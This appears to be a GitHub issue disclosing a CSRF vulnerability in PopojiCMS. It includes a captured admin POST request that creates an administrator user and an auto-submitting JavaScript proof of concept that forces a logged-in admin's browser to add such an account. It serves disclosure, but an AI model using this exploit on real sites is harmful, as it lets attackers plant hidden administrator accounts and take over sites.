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I found a CSRF vulnerability #17

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PolarPeak opened this Issue Mar 2, 2019 · 0 comments

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PolarPeak commented Mar 2, 2019

POST /PopojiCMS/po-admin/route.php?mod=user&act=addnew HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/PopojiCMS/po-admin/admin.php?mod=user&act=addnew
Content-Type: application/x-www-form-urlencoded
Content-Length: 127
Connection: close
Cookie: _ga=GA1.1.1523573753.1550292454; PHPSESSID=ebgi7l1qb4hi7jaun2rf98qej7
Upgrade-Insecure-Requests: 1

username=admin&nama_lengkap=admin123&password=admin123&repeatpass=admin123&email=eugene%40addbug.cn&no_telp=12342123412&level=1

username=zjh&nama_lengkap=zjh666&password=admimn123&repeatpass=admin123&email=zjh%40baidu.com&no_telp=12345678910&level=1

Write a POST script
image

<script type="text/javascript"> function post(url,fields) { var p =document.createElement("form"); p.action= url; p.method="POST"; p.target="_self"; p.innerHTML = fields; document.body.appendChild(p); p.submit(); } function attack() { var fields; fields += ""; fields += ""; fields += ""; fields += ""; var url="http://127.0.0.1 /PopojiCMS/po-admin/route.php?mod=user&act=addnew"; post(url,fields); } window.onload = function() { attack();} </script>

Sent to the site owner, he created an administrator account by opening the link

image

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